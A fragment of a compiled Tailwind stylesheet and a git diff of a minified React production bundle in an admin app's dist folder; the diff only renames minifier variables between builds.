var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus\:ring-\[\#38bdac\]:focus{--tw-ring-color:#38bdac}.focus\:ring-amber-400:focus{--tw-ring-color:var(--color-amber-400)}.focus\:ring-offset-2:focus{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus\:outline-none:focus{--tw-outline-style:none;outline-style:none}.focus-visible\:ring-0:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-2:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[3px\]:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(3px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[\#38bdac\]:focus-visible{--tw-ring-color:#38bdac}.focus-visible\:ring-red-500:focus-visible{--tw-ring-color:var(--color-red-500)}.focus-visible\:ring-offset-0:focus-visible{--tw-ring-offset-width:0px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-\[\#0a1628\]:focus-visible{--tw-ring-offset-color:#0a1628}.focus-visible\:outline-none:focus-visible{--tw-outline-style:none;outline-style:none}.active\:cursor-grabbing:active{cursor:grabbing}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.has-\[\>svg\]\:px-2\.5:has(>svg){padding-inline:calc(var(--spacing)*2.5)}.has-\[\>svg\]\:px-3:has(>svg){padding-inline:calc(var(--spacing)*3)}.has-\[\>svg\]\:px-4:has(>svg){padding-inline:calc(var(--spacing)*4)}.data-\[disabled\]\:pointer-events-none[data-disabled]{pointer-events:none}.data-\[disabled\]\:opacity-50[data-disabled]{opacity:.5}.data-\[side\=bottom\]\:translate-y-1[data-side=bottom]{--tw-translate-y:calc(var(--spacing)*1);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=active\]\:bg-\[\#07C160\]\/20[data-state=active]{background-color:#07c16033}.data-\[state\=active\]\:bg-\[\#26A17B\]\/20[data-state=active]{background-color:#26a17b33}.data-\[state\=active\]\:bg-\[\#38bdac\]\/20[data-state=active]{background-color:#38bdac33}.data-\[state\=active\]\:bg-\[\#1677FF\]\/20[data-state=active]{background-color:#1677ff33}.data-\[state\=active\]\:bg-\[\#003087\]\/20[data-state=active]{background-color:#00308733}.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.data-\[state\=active\]\:font-medium[data-state=active]{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.data-\[state\=active\]\:text-\[\#07C160\][data-state=active]{color:#07c160}.data-\[state\=active\]\:text-\[\#26A17B\][data-state=active]{color:#26a17b}.data-\[state\=active\]\:text-\[\#38bdac\][data-state=active]{color:#38bdac}.data-\[state\=active\]\:text-\[\#169BD7\][data-state=active]{color:#169bd7}.data-\[state\=active\]\:text-\[\#1677FF\][data-state=active]{color:#1677ff}.data-\[state\=active\]\:text-amber-400[data-state=active]{color:var(--color-amber-400)}.data-\[state\=active\]\:text-purple-400[data-state=active]{color:var(--color-purple-400)}.data-\[state\=active\]\:shadow[data-state=active]{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.data-\[state\=checked\]\:translate-x-4[data-state=checked]{--tw-translate-x:calc(var(--spacing)*4);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=checked\]\:bg-\[\#38bdac\][data-state=checked]{background-color:#38bdac}.data-\[state\=unchecked\]\:translate-x-0[data-state=unchecked]{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=unchecked\]\:bg-gray-600[data-state=unchecked]{background-color:var(--color-gray-600)}@media(min-width:40rem){.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:flex-row{flex-direction:row}.sm\:justify-end{justify-content:flex-end}.sm\:gap-2{gap:calc(var(--spacing)*2)}.sm\:text-left{text-align:left}}@media(min-width:48rem){.md\:col-span-2{grid-column:span 2/span 2}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.md\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.md\:text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}}@media(min-width:64rem){.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.lg\:grid-cols-8{grid-template-columns:repeat(8,minmax(0,1fr))}}@media(min-width:80rem){.xl\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4 svg:not([class*=size-]){width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.\[\&_tr\]\:border-b tr{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.\[\&_tr\:last-child\]\:border-0 tr:last-child{border-style:var(--tw-border-style);border-width:0}.\[\&\:has\(\[role\=checkbox\]\)\]\:pr-0:has([role=checkbox]){padding-right:calc(var(--spacing)*0)}.\[\&\>span\]\:line-clamp-1>span{-webkit-line-clamp:1;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}}:root{--background:oklch(14.5% 0 0);--foreground:oklch(98.5% 0 0);--card:oklch(20% .02 240);--card-foreground:oklch(98.5% 0 0);--popover:oklch(20% .02 240);--popover-foreground:oklch(98.5% 0 0);--primary:oklch(65% .15 180);--primary-foreground:oklch(20% 0 0);--secondary:oklch(27% 0 0);--secondary-foreground:oklch(98.5% 0 0);--muted:oklch(27% 0 0);--muted-foreground:oklch(65% 0 0);--accent:oklch(27% 0 0);--accent-foreground:oklch(98.5% 0 0);--destructive:oklch(55% .2 25);--destructive-foreground:oklch(98.5% 0 0);--border:oklch(35% 0 0);--input:oklch(35% 0 0);--ring:oklch(65% .15 180);--radius:.625rem}body{font-family:var(--font-sans);color:var(--foreground);background:#0a1628}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-scale-x{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-y{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-z{syntax:"*";inherits:false;initial-value:1}@property --tw-rotate-x{syntax:"*";inherits:false}@property --tw-rotate-y{syntax:"*";inherits:false}@property --tw-rotate-z{syntax:"*";inherits:false}@property --tw-skew-x{syntax:"*";inherits:false}@property --tw-skew-y{syntax:"*";inherits:false}@property --tw-pan-x{syntax:"*";inherits:false}@property --tw-pan-y{syntax:"*";inherits:false}@property --tw-pinch-zoom{syntax:"*";inherits:false}@property --tw-space-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-space-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-divide-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-divide-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-gradient-position{syntax:"*";inherits:false}@property --tw-gradient-from{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-via{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-to{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-stops{syntax:"*";inherits:false}@property --tw-gradient-via-stops{syntax:"*";inherits:false}@property --tw-gradient-from-position{syntax:"";inherits:false;initial-value:0%}@property --tw-gradient-via-position{syntax:"";inherits:false;initial-value:50%}@property --tw-gradient-to-position{syntax:"";inherits:false;initial-value:100%}@property --tw-leading{syntax:"*";inherits:false}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-tracking{syntax:"*";inherits:false}@property --tw-ordinal{syntax:"*";inherits:false}@property --tw-slashed-zero{syntax:"*";inherits:false}@property --tw-numeric-figure{syntax:"*";inherits:false}@property --tw-numeric-spacing{syntax:"*";inherits:false}@property --tw-numeric-fraction{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-backdrop-blur{syntax:"*";inherits:false}@property --tw-backdrop-brightness{syntax:"*";inherits:false}@property --tw-backdrop-contrast{syntax:"*";inherits:false}@property --tw-backdrop-grayscale{syntax:"*";inherits:false}@property --tw-backdrop-hue-rotate{syntax:"*";inherits:false}@property --tw-backdrop-invert{syntax:"*";inherits:false}@property --tw-backdrop-opacity{syntax:"*";inherits:false}@property --tw-backdrop-saturate{syntax:"*";inherits:false}@property --tw-backdrop-sepia{syntax:"*";inherits:false}@property --tw-duration{syntax:"*";inherits:false}@keyframes spin{to{transform:rotate(360deg)}} diff --git a/soul-admin/dist/assets/index-DyqIjjBz.js b/soul-admin/dist/assets/index-jQTzpVXX.js similarity index 81% rename from soul-admin/dist/assets/index-DyqIjjBz.js rename to soul-admin/dist/assets/index-jQTzpVXX.js index 8b0907d8..aee2ce24 100644 --- a/soul-admin/dist/assets/index-DyqIjjBz.js +++ b/soul-admin/dist/assets/index-jQTzpVXX.js @@ -6,7 +6,7 @@ function bE(t,e){for(var n=0;n>>1,U=P[z];if(0>>1;za(Y,V))Ba(re,Y)?(P[z]=re,P[B]=V,z=B):(P[z]=Y,P[J]=V,z=J);else if(Ba(re,V))P[z]=re,P[B]=V,z=B;else break e}}return K}function a(P,K){var V=P.sortIndex-K.sortIndex;return V!==0?V:P.id-K.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;t.unstable_now=function(){return i.now()}}else{var o=Date,c=o.now();t.unstable_now=function(){return o.now()-c}}var u=[],h=[],f=1,m=null,g=3,y=!1,N=!1,w=!1,v=typeof setTimeout=="function"?setTimeout:null,k=typeof clearTimeout=="function"?clearTimeout:null,C=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function E(P){for(var K=n(h);K!==null;){if(K.callback===null)r(h);else if(K.startTime<=P)r(h),K.sortIndex=K.expirationTime,e(u,K);else break;K=n(h)}}function T(P){if(w=!1,E(P),!N)if(n(u)!==null)N=!0,H(I);else{var K=n(h);K!==null&&oe(T,K.startTime-P)}}function I(P,K){N=!1,w&&(w=!1,k(R),R=-1),y=!0;var V=g;try{for(E(K),m=n(u);m!==null&&(!(m.expirationTime>K)||P&&!Z());){var z=m.callback;if(typeof z=="function"){m.callback=null,g=m.priorityLevel;var U=z(m.expirationTime<=K);K=t.unstable_now(),typeof U=="function"?m.callback=U:m===n(u)&&r(u),E(K)}else r(u);m=n(u)}if(m!==null)var le=!0;else{var J=n(h);J!==null&&oe(T,J.startTime-K),le=!1}return le}finally{m=null,g=V,y=!1}}var O=!1,L=null,R=-1,D=5,_=-1;function Z(){return!(t.unstable_now()-_P||125z?(P.sortIndex=V,e(h,P),n(u)===null&&P===n(h)&&(w?(k(R),R=-1):w=!0,oe(T,V-z))):(P.sortIndex=U,e(u,P),N||y||(N=!0,H(I))),P},t.unstable_shouldYield=Z,t.unstable_wrapCallback=function(P){var K=g;return function(){var V=g;g=K;try{return P.apply(this,arguments)}finally{g=V}}}})(km)),km}var kv;function kE(){return kv||(kv=1,jm.exports=jE()),jm.exports}/** + */var jv;function jE(){return jv||(jv=1,(function(t){function e(P,q){var B=P.length;P.push(q);e:for(;0>>1,W=P[_];if(0>>1;_a(Y,B))Va(re,Y)?(P[_]=re,P[V]=B,_=V):(P[_]=Y,P[J]=B,_=J);else if(Va(re,B))P[_]=re,P[V]=B,_=V;else break e}}return q}function a(P,q){var B=P.sortIndex-q.sortIndex;return B!==0?B:P.id-q.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;t.unstable_now=function(){return i.now()}}else{var o=Date,c=o.now();t.unstable_now=function(){return o.now()-c}}var u=[],h=[],f=1,m=null,g=3,y=!1,N=!1,w=!1,v=typeof setTimeout=="function"?setTimeout:null,k=typeof clearTimeout=="function"?clearTimeout:null,C=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function E(P){for(var q=n(h);q!==null;){if(q.callback===null)r(h);else if(q.startTime<=P)r(h),q.sortIndex=q.expirationTime,e(u,q);else break;q=n(h)}}function T(P){if(w=!1,E(P),!N)if(n(u)!==null)N=!0,H(I);else{var q=n(h);q!==null&&oe(T,q.startTime-P)}}function I(P,q){N=!1,w&&(w=!1,k(R),R=-1),y=!0;var B=g;try{for(E(q),m=n(u);m!==null&&(!(m.expirationTime>q)||P&&!Z());){var _=m.callback;if(typeof _=="function"){m.callback=null,g=m.priorityLevel;var W=_(m.expirationTime<=q);q=t.unstable_now(),typeof W=="function"?m.callback=W:m===n(u)&&r(u),E(q)}else r(u);m=n(u)}if(m!==null)var le=!0;else{var J=n(h);J!==null&&oe(T,J.startTime-q),le=!1}return le}finally{m=null,g=B,y=!1}}var O=!1,L=null,R=-1,D=5,z=-1;function Z(){return!(t.unstable_now()-zP||125_?(P.sortIndex=B,e(h,P),n(u)===null&&P===n(h)&&(w?(k(R),R=-1):w=!0,oe(T,B-_))):(P.sortIndex=W,e(u,P),N||y||(N=!0,H(I))),P},t.unstable_shouldYield=Z,t.unstable_wrapCallback=function(P){var q=g;return function(){var B=g;g=q;try{return P.apply(this,arguments)}finally{g=B}}}})(km)),km}var kv;function kE(){return kv||(kv=1,jm.exports=jE()),jm.exports}/** * @license React * react-dom.production.min.js * @@ -30,14 +30,14 @@ function bE(t,e){for(var n=0;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),u=Object.prototype.hasOwnProperty,h=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,f={},m={};function g(l){return u.call(m,l)?!0:u.call(f,l)?!1:h.test(l)?m[l]=!0:(f[l]=!0,!1)}function y(l,d,p,x){if(p!==null&&p.type===0)return!1;switch(typeof d){case"function":case"symbol":return!0;case"boolean":return x?!1:p!==null?!p.acceptsBooleans:(l=l.toLowerCase().slice(0,5),l!=="data-"&&l!=="aria-");default:return!1}}function N(l,d,p,x){if(d===null||typeof d>"u"||y(l,d,p,x))return!0;if(x)return!1;if(p!==null)switch(p.type){case 3:return!d;case 4:return d===!1;case 5:return isNaN(d);case 6:return isNaN(d)||1>d}return!1}function w(l,d,p,x,j,S,A){this.acceptsBooleans=d===2||d===3||d===4,this.attributeName=x,this.attributeNamespace=j,this.mustUseProperty=p,this.propertyName=l,this.type=d,this.sanitizeURL=S,this.removeEmptyString=A}var v={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(l){v[l]=new w(l,0,!1,l,null,!1,!1)}),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(l){var d=l[0];v[d]=new w(d,1,!1,l[1],null,!1,!1)}),["contentEditable","draggable","spellCheck","value"].forEach(function(l){v[l]=new w(l,2,!1,l.toLowerCase(),null,!1,!1)}),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(l){v[l]=new w(l,2,!1,l,null,!1,!1)}),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(l){v[l]=new w(l,3,!1,l.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(l){v[l]=new w(l,3,!0,l,null,!1,!1)}),["capture","download"].forEach(function(l){v[l]=new w(l,4,!1,l,null,!1,!1)}),["cols","rows","size","span"].forEach(function(l){v[l]=new w(l,6,!1,l,null,!1,!1)}),["rowSpan","start"].forEach(function(l){v[l]=new w(l,5,!1,l.toLowerCase(),null,!1,!1)});var k=/[\-:]([a-z])/g;function C(l){return l[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,null,!1,!1)}),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/1999/xlink",!1,!1)}),["xml:base","xml:lang","xml:space"].forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!1,!1)}),v.xlinkHref=new w("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!0,!0)});function E(l,d,p,x){var j=v.hasOwnProperty(d)?v[d]:null;(j!==null?j.type!==0:x||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),u=Object.prototype.hasOwnProperty,h=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,f={},m={};function g(l){return u.call(m,l)?!0:u.call(f,l)?!1:h.test(l)?m[l]=!0:(f[l]=!0,!1)}function y(l,d,p,x){if(p!==null&&p.type===0)return!1;switch(typeof d){case"function":case"symbol":return!0;case"boolean":return x?!1:p!==null?!p.acceptsBooleans:(l=l.toLowerCase().slice(0,5),l!=="data-"&&l!=="aria-");default:return!1}}function N(l,d,p,x){if(d===null||typeof d>"u"||y(l,d,p,x))return!0;if(x)return!1;if(p!==null)switch(p.type){case 3:return!d;case 4:return d===!1;case 5:return isNaN(d);case 6:return isNaN(d)||1>d}return!1}function w(l,d,p,x,j,S,A){this.acceptsBooleans=d===2||d===3||d===4,this.attributeName=x,this.attributeNamespace=j,this.mustUseProperty=p,this.propertyName=l,this.type=d,this.sanitizeURL=S,this.removeEmptyString=A}var v={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(l){v[l]=new w(l,0,!1,l,null,!1,!1)}),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(l){var d=l[0];v[d]=new w(d,1,!1,l[1],null,!1,!1)}),["contentEditable","draggable","spellCheck","value"].forEach(function(l){v[l]=new w(l,2,!1,l.toLowerCase(),null,!1,!1)}),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(l){v[l]=new w(l,2,!1,l,null,!1,!1)}),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(l){v[l]=new w(l,3,!1,l.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(l){v[l]=new w(l,3,!0,l,null,!1,!1)}),["capture","download"].forEach(function(l){v[l]=new w(l,4,!1,l,null,!1,!1)}),["cols","rows","size","span"].forEach(function(l){v[l]=new w(l,6,!1,l,null,!1,!1)}),["rowSpan","start"].forEach(function(l){v[l]=new w(l,5,!1,l.toLowerCase(),null,!1,!1)});var k=/[\-:]([a-z])/g;function C(l){return l[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,null,!1,!1)}),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/1999/xlink",!1,!1)}),["xml:base","xml:lang","xml:space"].forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!1,!1)}),v.xlinkHref=new w("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!0,!0)});function E(l,d,p,x){var j=v.hasOwnProperty(d)?v[d]:null;(j!==null?j.type!==0:x||!(2F||j[A]!==S[F]){var G=` -`+j[A].replace(" at new "," at ");return l.displayName&&G.includes("")&&(G=G.replace("",l.displayName)),G}while(1<=A&&0<=F);break}}}finally{le=!1,Error.prepareStackTrace=p}return(l=l?l.displayName||l.name:"")?U(l):""}function Y(l){switch(l.tag){case 5:return U(l.type);case 16:return U("Lazy");case 13:return U("Suspense");case 19:return U("SuspenseList");case 0:case 2:case 15:return l=J(l.type,!1),l;case 11:return l=J(l.type.render,!1),l;case 1:return l=J(l.type,!0),l;default:return""}}function B(l){if(l==null)return null;if(typeof l=="function")return l.displayName||l.name||null;if(typeof l=="string")return l;switch(l){case L:return"Fragment";case O:return"Portal";case D:return"Profiler";case R:return"StrictMode";case fe:return"Suspense";case xe:return"SuspenseList"}if(typeof l=="object")switch(l.$$typeof){case Z:return(l.displayName||"Context")+".Consumer";case _:return(l._context.displayName||"Context")+".Provider";case ne:var d=l.render;return l=l.displayName,l||(l=d.displayName||d.name||"",l=l!==""?"ForwardRef("+l+")":"ForwardRef"),l;case $:return d=l.displayName||null,d!==null?d:B(l.type)||"Memo";case H:d=l._payload,l=l._init;try{return B(l(d))}catch{}}return null}function re(l){var d=l.type;switch(l.tag){case 24:return"Cache";case 9:return(d.displayName||"Context")+".Consumer";case 10:return(d._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return l=d.render,l=l.displayName||l.name||"",d.displayName||(l!==""?"ForwardRef("+l+")":"ForwardRef");case 7:return"Fragment";case 5:return d;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return B(d);case 8:return d===R?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof d=="function")return d.displayName||d.name||null;if(typeof d=="string")return d}return null}function ue(l){switch(typeof l){case"boolean":case"number":case"string":case"undefined":return l;case"object":return l;default:return""}}function ce(l){var d=l.type;return(l=l.nodeName)&&l.toLowerCase()==="input"&&(d==="checkbox"||d==="radio")}function ye(l){var d=ce(l)?"checked":"value",p=Object.getOwnPropertyDescriptor(l.constructor.prototype,d),x=""+l[d];if(!l.hasOwnProperty(d)&&typeof p<"u"&&typeof p.get=="function"&&typeof p.set=="function"){var j=p.get,S=p.set;return Object.defineProperty(l,d,{configurable:!0,get:function(){return j.call(this)},set:function(A){x=""+A,S.call(this,A)}}),Object.defineProperty(l,d,{enumerable:p.enumerable}),{getValue:function(){return x},setValue:function(A){x=""+A},stopTracking:function(){l._valueTracker=null,delete l[d]}}}}function Re(l){l._valueTracker||(l._valueTracker=ye(l))}function Le(l){if(!l)return!1;var d=l._valueTracker;if(!d)return!0;var p=d.getValue(),x="";return l&&(x=ce(l)?l.checked?"true":"false":l.value),l=x,l!==p?(d.setValue(l),!0):!1}function lt(l){if(l=l||(typeof document<"u"?document:void 0),typeof l>"u")return null;try{return l.activeElement||l.body}catch{return l.body}}function Tt(l,d){var p=d.checked;return V({},d,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:p??l._wrapperState.initialChecked})}function ln(l,d){var 